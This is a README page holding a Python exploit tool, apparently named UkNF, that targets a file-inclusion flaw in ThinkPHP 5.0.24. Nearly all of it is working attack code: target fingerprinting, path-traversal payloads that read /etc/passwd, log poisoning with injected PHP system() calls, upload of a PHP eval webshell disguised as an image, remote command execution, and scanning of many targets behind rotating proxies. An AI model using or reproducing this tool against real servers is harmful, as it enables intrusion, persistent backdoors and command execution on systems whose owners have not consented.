README.md
Rendering markdown...
#!/usr/bin/env python3
"""
UkNF - CVE-2025-63888 ThinkPHP 5.0.24 File Inclusion RCE Exploit
Unified Knowledge Network Framework - ThinkPHP Exploitation Module
CVE-2025-63888: Remote Code Execution via file inclusion in ThinkPHP 5.0.24
Vulnerable Component: thinkphp/library/think/template/driver/File.php
Author: Security Research Team
Date: January 2025
License: For authorized penetration testing only
"""
import sys
import argparse
import logging
import signal
import time
import threading
from pathlib import Path
from typing import List, Dict, Optional, Tuple
from concurrent.futures import ThreadPoolExecutor, as_completed
import json
from datetime import datetime
import requests
from urllib.parse import urljoin, urlparse
import base64
import re
import random
import string
# Setup logging
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
datefmt='%Y-%m-%d %H:%M:%S'
)
logger = logging.getLogger(__name__)
# Global shutdown flag
shutdown_flag = threading.Event()
class ThinkPHPRecon:
"""Reconnaissance module for ThinkPHP applications"""
def __init__(self, target_url: str, session: requests.Session = None, proxies: Dict = None):
self.target_url = target_url.rstrip('/')
self.session = session or requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
if proxies:
self.session.proxies.update(proxies)
self.thinkphp_version = None
self.vulnerable = False
def detect_thinkphp(self) -> bool:
"""Detect if target is running ThinkPHP"""
try:
# Check common ThinkPHP indicators
indicators = [
'/index.php',
'/public/index.php',
'/thinkphp',
]
for indicator in indicators:
try:
url = urljoin(self.target_url, indicator)
response = self.session.get(url, timeout=10, allow_redirects=True)
# Check for ThinkPHP headers
if 'thinkphp' in response.headers.get('X-Powered-By', '').lower():
logger.info(f"ThinkPHP detected via header: {response.headers.get('X-Powered-By')}")
return True
# Check response content
if 'thinkphp' in response.text.lower() or 'think' in response.text.lower():
logger.info("ThinkPHP detected via content analysis")
return True
except requests.RequestException as e:
logger.debug(f"Error checking {indicator}: {e}")
continue
return False
except Exception as e:
logger.error(f"Error detecting ThinkPHP: {e}")
return False
def detect_version(self) -> Optional[str]:
"""Attempt to detect ThinkPHP version"""
try:
# Method 1: Check error pages
test_urls = [
'/index.php/index/index/think',
'/index.php?s=/index/index/think',
'/?s=/index/index/think',
]
for url_path in test_urls:
try:
url = urljoin(self.target_url, url_path)
response = self.session.get(url, timeout=10)
# Look for version in error messages
version_pattern = r'thinkphp[\/\s]+([0-9]+\.[0-9]+\.[0-9]+)'
match = re.search(version_pattern, response.text, re.IGNORECASE)
if match:
version = match.group(1)
logger.info(f"Detected ThinkPHP version: {version}")
self.thinkphp_version = version
return version
except requests.RequestException:
continue
# Method 2: Check common files
version_files = [
'/thinkphp/VERSION',
'/thinkphp/version.txt',
]
for file_path in version_files:
try:
url = urljoin(self.target_url, file_path)
response = self.session.get(url, timeout=10)
if response.status_code == 200:
version = response.text.strip()
logger.info(f"Detected ThinkPHP version from file: {version}")
self.thinkphp_version = version
return version
except requests.RequestException:
continue
return None
except Exception as e:
logger.error(f"Error detecting version: {e}")
return None
def check_vulnerability(self) -> bool:
"""Check if target is vulnerable to CVE-2025-63888"""
if not self.thinkphp_version:
self.detect_version()
# Check if version is 5.0.24
if self.thinkphp_version and '5.0.24' in self.thinkphp_version:
logger.info("Target appears to be vulnerable (ThinkPHP 5.0.24)")
self.vulnerable = True
return True
# Test for file inclusion vulnerability
return self._test_file_inclusion()
def _test_file_inclusion(self) -> bool:
"""Test for file inclusion vulnerability"""
try:
# Test with a safe file that should exist on most systems
test_payloads = [
"../../../etc/passwd",
"../../../windows/win.ini",
"../../../etc/hosts",
]
# Try different endpoints
endpoints = [
"/index.php/index/index/view",
"/index.php?s=/index/index/view",
"/?s=/index/index/view",
"/index/view",
]
for endpoint in endpoints:
for payload in test_payloads:
try:
url = urljoin(self.target_url, endpoint)
data = {"template": payload}
response = self.session.post(
url,
data=data,
timeout=10,
allow_redirects=False
)
# Check for file inclusion indicators
if response.status_code == 200:
content = response.text
# Check for common file content patterns
if any(indicator in content for indicator in [
"root:x:0:0", # /etc/passwd
"[fonts]", # win.ini
"127.0.0.1", # hosts file
]):
logger.warning(f"File inclusion confirmed! Endpoint: {endpoint}, Payload: {payload}")
self.vulnerable = True
return True
except requests.RequestException as e:
logger.debug(f"Error testing {endpoint} with {payload}: {e}")
continue
return False
except Exception as e:
logger.error(f"Error testing file inclusion: {e}")
return False
class CVE202563888Exploit:
"""Exploitation module for CVE-2025-63888"""
def __init__(self, target_url: str, session: requests.Session = None, proxies: Dict = None):
self.target_url = target_url.rstrip('/')
self.session = session or requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
if proxies:
self.session.proxies.update(proxies)
self.recon = ThinkPHPRecon(target_url, self.session, proxies)
self.vulnerable_endpoint = None
self.webshell_path = None
def find_vulnerable_endpoint(self) -> Optional[str]:
"""Find the vulnerable endpoint"""
endpoints = [
"/index.php/index/index/view",
"/index.php?s=/index/index/view",
"/?s=/index/index/view",
"/index/view",
"/index.php/home/index/view",
"/index.php/admin/index/view",
]
test_payload = "../../../etc/passwd"
for endpoint in endpoints:
try:
url = urljoin(self.target_url, endpoint)
data = {"template": test_payload}
response = self.session.post(
url,
data=data,
timeout=10,
allow_redirects=False
)
if response.status_code == 200 and "root:x:0:0" in response.text:
logger.info(f"Found vulnerable endpoint: {endpoint}")
self.vulnerable_endpoint = endpoint
return endpoint
except requests.RequestException as e:
logger.debug(f"Error testing endpoint {endpoint}: {e}")
continue
return None
def poison_log_file(self, php_code: str) -> Optional[str]:
"""Attempt to poison log files with PHP code"""
try:
# Generate a unique identifier for this session
session_id = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
# Try to trigger log entry with PHP code
log_triggers = [
f"/index.php?{php_code}",
f"/index.php?s=/index/index/index&{php_code}",
]
for trigger in log_triggers:
try:
url = urljoin(self.target_url, trigger)
self.session.get(url, timeout=10)
except requests.RequestException:
continue
# Try to find log file path
log_paths = [
f"../../../runtime/log/{datetime.now().strftime('%Y/%m/%d')}.log",
f"../../../runtime/log/{datetime.now().strftime('%Y%m%d')}.log",
"../../../runtime/log/error.log",
"../../../runtime/log/access.log",
]
return log_paths[0] # Return most likely path
except Exception as e:
logger.error(f"Error poisoning log file: {e}")
return None
def upload_webshell(self) -> Optional[str]:
"""Attempt to upload a webshell via file upload functionality"""
try:
# Generate webshell content
webshell_name = f"shell_{''.join(random.choices(string.ascii_lowercase + string.digits, k=8))}.php"
webshell_content = "<?php @eval($_POST['cmd']); ?>"
# Try common upload endpoints
upload_endpoints = [
"/index.php/index/index/upload",
"/index.php/admin/upload",
"/upload.php",
]
for endpoint in upload_endpoints:
try:
url = urljoin(self.target_url, endpoint)
files = {
'file': (webshell_name, webshell_content, 'image/jpeg')
}
response = self.session.post(url, files=files, timeout=10)
if response.status_code == 200:
# Try to find uploaded file
upload_paths = [
f"../../../public/uploads/{webshell_name}",
f"../../../uploads/{webshell_name}",
f"../../../runtime/temp/{webshell_name}",
]
return upload_paths[0]
except requests.RequestException:
continue
return None
except Exception as e:
logger.error(f"Error uploading webshell: {e}")
return None
def create_webshell_via_inclusion(self, shell_path: str = None) -> bool:
"""Create a webshell by including a writable file"""
try:
if not self.vulnerable_endpoint:
if not self.find_vulnerable_endpoint():
logger.error("No vulnerable endpoint found")
return False
# Try to write to session file or other writable locations
webshell_content = "<?php @eval($_POST['cmd']); ?>"
# Method 1: Try to include session file and write to it
session_paths = [
"../../../runtime/session/sess_" + ''.join(random.choices(string.ascii_lowercase + string.digits, k=26)),
]
# Method 2: Use log file poisoning
log_path = self.poison_log_file(webshell_content)
if log_path:
self.webshell_path = log_path
logger.info(f"Webshell path: {log_path}")
return True
return False
except Exception as e:
logger.error(f"Error creating webshell: {e}")
return False
def execute_command(self, command: str, method: str = "log") -> Optional[str]:
"""Execute a command via file inclusion RCE"""
try:
if not self.vulnerable_endpoint:
if not self.find_vulnerable_endpoint():
return None
url = urljoin(self.target_url, self.vulnerable_endpoint)
if method == "log":
# Use log file poisoning method
php_code = f"<?php system('{command}'); ?>"
log_path = self.poison_log_file(php_code)
if log_path:
data = {"template": log_path}
response = self.session.post(url, data=data, timeout=10)
return response.text
elif method == "direct":
# Direct PHP code execution (if we can include arbitrary files)
# This would require a file we control with PHP code
pass
return None
except Exception as e:
logger.error(f"Error executing command: {e}")
return None
def exploit(self, command: str = "id") -> Dict:
"""Main exploitation method"""
results = {
'target': self.target_url,
'timestamp': datetime.now().isoformat(),
'vulnerable': False,
'endpoint_found': False,
'exploitation_successful': False,
'command_executed': command,
'output': None,
'webshell_created': False,
'webshell_path': None,
}
try:
# Step 1: Detect ThinkPHP
logger.info("[1/4] Detecting ThinkPHP...")
if not self.recon.detect_thinkphp():
logger.warning("ThinkPHP not detected")
return results
# Step 2: Check vulnerability
logger.info("[2/4] Checking vulnerability...")
if not self.recon.check_vulnerability():
logger.warning("Target does not appear to be vulnerable")
return results
results['vulnerable'] = True
# Step 3: Find vulnerable endpoint
logger.info("[3/4] Finding vulnerable endpoint...")
endpoint = self.find_vulnerable_endpoint()
if not endpoint:
logger.warning("Could not find vulnerable endpoint")
return results
results['endpoint_found'] = True
results['vulnerable_endpoint'] = endpoint
# Step 4: Exploit
logger.info("[4/4] Exploiting vulnerability...")
# Try to create webshell
if self.create_webshell_via_inclusion():
results['webshell_created'] = True
results['webshell_path'] = self.webshell_path
# Execute command
output = self.execute_command(command)
if output:
results['exploitation_successful'] = True
results['output'] = output
logger.info(f"Command executed successfully: {command}")
logger.info(f"Output: {output[:500]}") # First 500 chars
return results
except Exception as e:
logger.error(f"Exploitation error: {e}")
results['error'] = str(e)
return results
class UkNFExploitFramework:
"""Main framework class"""
def __init__(self, target_url: str, threads: int = 1, proxies: Dict = None):
self.target_url = target_url
self.threads = threads
self.proxies = proxies
self.results = []
def run(self) -> Dict:
"""Run the exploitation framework"""
logger.info(f"Starting UkNF exploitation for {self.target_url}")
exploit = CVE202563888Exploit(self.target_url, proxies=self.proxies)
result = exploit.exploit()
self.results.append(result)
return result
def save_results(self, output_file: str):
"""Save results to file"""
output_path = Path(output_file)
output_path.parent.mkdir(parents=True, exist_ok=True)
with open(output_path, 'w', encoding='utf-8') as f:
json.dump(self.results, f, indent=2, ensure_ascii=False)
logger.info(f"Results saved to {output_path}")
def signal_handler(signum, frame):
"""Handle graceful shutdown"""
logger.warning("Shutdown signal received, finishing current tasks...")
shutdown_flag.set()
def main():
"""Main entry point"""
parser = argparse.ArgumentParser(
description='UkNF - CVE-2025-63888 ThinkPHP 5.0.24 File Inclusion RCE Exploit',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s -u http://target.com
%(prog)s -u http://target.com -c "whoami"
%(prog)s -u http://target.com -t 5 -o results.json
%(prog)s -f targets.txt -o results/
"""
)
parser.add_argument('-u', '--url', type=str, help='Target URL')
parser.add_argument('-f', '--file', type=str, help='File containing target URLs (one per line)')
parser.add_argument('-c', '--command', type=str, default='id', help='Command to execute (default: id)')
parser.add_argument('-t', '--threads', type=int, default=1, help='Number of threads (default: 1)')
parser.add_argument('-o', '--output', type=str, default='uknf_results.json', help='Output file (default: uknf_results.json)')
parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose logging')
parser.add_argument('--proxy', type=str, help='Proxy URL (e.g., http://127.0.0.1:8080)')
parser.add_argument('--proxy-list', type=str, help='File containing proxy URLs (one per line)')
args = parser.parse_args()
if args.verbose:
logging.getLogger().setLevel(logging.DEBUG)
# Setup signal handlers
signal.signal(signal.SIGINT, signal_handler)
signal.signal(signal.SIGTERM, signal_handler)
# Validate arguments
if not args.url and not args.file:
parser.error("Either -u/--url or -f/--file must be provided")
# Setup proxies
proxies = None
proxy_list = []
if args.proxy:
proxy_list = [args.proxy]
elif args.proxy_list:
with open(args.proxy_list, 'r') as f:
proxy_list = [line.strip() for line in f if line.strip()]
# Process targets
targets = []
if args.url:
targets.append(args.url)
elif args.file:
with open(args.file, 'r') as f:
targets = [line.strip() for line in f if line.strip()]
if not targets:
logger.error("No targets specified")
return 1
logger.info(f"Processing {len(targets)} target(s)")
if proxy_list:
logger.info(f"Using {len(proxy_list)} proxy/proxies")
# Process targets
all_results = []
for i, target in enumerate(targets):
if shutdown_flag.is_set():
break
try:
# Rotate proxies if available
current_proxies = None
if proxy_list:
proxy_url = proxy_list[i % len(proxy_list)]
current_proxies = {
'http': proxy_url,
'https': proxy_url
}
logger.info(f"Using proxy for {target}: {proxy_url.split('@')[-1] if '@' in proxy_url else proxy_url}")
framework = UkNFExploitFramework(target, threads=args.threads, proxies=current_proxies)
result = framework.run()
all_results.append(result)
except Exception as e:
logger.error(f"Error processing {target}: {e}")
continue
# Save results
if all_results:
output_path = Path(args.output)
output_path.parent.mkdir(parents=True, exist_ok=True)
with open(output_path, 'w', encoding='utf-8') as f:
json.dump(all_results, f, indent=2, ensure_ascii=False)
logger.info(f"Results saved to {output_path}")
# Print summary
vulnerable = sum(1 for r in all_results if r.get('vulnerable'))
exploited = sum(1 for r in all_results if r.get('exploitation_successful'))
logger.info(f"\nSummary:")
logger.info(f" Targets processed: {len(all_results)}")
logger.info(f" Vulnerable: {vulnerable}")
logger.info(f" Successfully exploited: {exploited}")
return 0
if __name__ == '__main__':
sys.exit(main())